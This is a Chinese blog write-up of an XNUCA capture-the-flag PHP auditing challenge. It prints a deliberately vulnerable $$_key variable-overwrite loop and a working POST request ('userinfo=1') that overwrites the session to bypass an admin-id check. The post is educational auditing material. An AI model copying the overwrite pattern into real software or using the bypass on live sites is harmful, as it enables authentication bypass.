简介
拖了很久的一篇文章。
最近决定加强自己代码审计的能力。恰好昨天4ct10n发给我一个题目,是XNUCA上面的题目,貌似是wonderkun师傅出的,感觉比较好。
说明
题目源码下载
通读代码,网站像是一个博客系统,但是仅仅只是提供了一个登录、注册、修改密码功能。
而整个代码都使用了pdo的方式进行数据库的操作,如下:1
2
3
4
5$dbh = new PDO(DSN, DB_USER, DB_PASSWD);
$sql = "select * from user where id = :id";
$sth = $dbh->prepare($sql);
$sth->execute(array(':id'=>$id));
$res = $sth->fetch(PDO::FETCH_ASSOC);
观察了整个系统中的数据库的操作方式,发现并不存在SQL注入。
分析系统的其他代码,其中比较关键的位置有:common.php
是所有的php文件都会引入的文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
define("DB_NAME", "www");
define("DB_HOST", "localhost");
define("DB_USER", "root");
define("DB_PASSWD", "root");
define("DSN", "mysql:host=".DB_HOST.";dbname=".DB_NAME);
ini_set("display_errors", "On");
error_reporting(0);
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
session_start();
看到$$_key= $_value;
这种的代码有可能会存在变量覆盖的漏洞。
flag位置
全局搜索flag
字符串,有2个位置出现了flag
字符串。
在user.php
中的23行左右1
2
3if($userinfo["username"] === 'admin') {
echo "<h3>flag{xxxxxx}</flag>";
}
在do_changepass.php
中的第10行左右1
2
3
4if($userinfo["id"] == 1) {
echo "flag{xxx}";
die();
}
利用
可以看到需要利用到变量覆盖的漏洞,那么是否可以直接覆盖掉SESSION
中的变量呢?
进行测试的代码如下:1
2
3
4
5
6
7
8
9
10
11
ini_set("display_errors", "On");
error_reporting(0);
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
var_dump($_SESSION);
最后的结果如下所示:
可以看到通过传入_SESSION
参数可以成功地构造$_SESSION
变量。
但是观察common.php
的代码:1
2
3
4
5
6
7
8foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
session_start();
最后存在session_start()
表示开启SESSION,即使之前通过参数的方式构建了$_SESSION
变量,也会设置为空,所以就无法通过参数的方式覆盖$_SESSION
变量。
此时重现观察do_changepass.php
中的有关flag的代码:1
2
3
4if($userinfo["id"] == 1) {
echo "flag{xxx}";
die();
}
要求$userinfo["id"]
为1,那么这个该如何利用呢?其实这个问题可以参考由php offset特征造成的绕过漏洞,那么我们只需要追溯到$userinfo
是如何赋值的?
观察到do_register.php
中的最后的代码:1
2
3
4
5$userinfo["id"] = $res["id"];
$userinfo["username"] = $username;
$userinfo["password"] = $password;
$_SESSION["userinfo"] = $userinfo;
$userinfo["role"] = $res["role"];
那么只需要可以覆盖掉$userinfo
并将其设置为1
就可以完成绕过了,测试如下:1
2URL:http://localhost/xnuca/do_register.php
POST:username=ccc&password=123456&userinfo=1
观察代码执行的结果:
可以看到$_SESSION["userinfo"]=1
,值已经被覆盖掉了。
最后只需要访问do_changepass.php
即可拿到flag了。
总结
当时看到了common.php
就想到了可能是变量覆盖的漏洞,但是当时一直没有找到漏洞的利用点,可能还是因为代码看得不是很仔细,这一点需要加强。最后感谢4ct10n的帮助。
最近在学习审计PHP代码,发现在部分开源程序中也存在类似的变量覆盖的漏洞。这种漏洞通过分析init.php
这种类似的文件看其中是否存在$$_key= $_value
或者是extract()
这样的函数来寻找,接下来就是寻找利用点,这一点是最难的,一般的利用点都是在用户/管理员的登录验证的地方。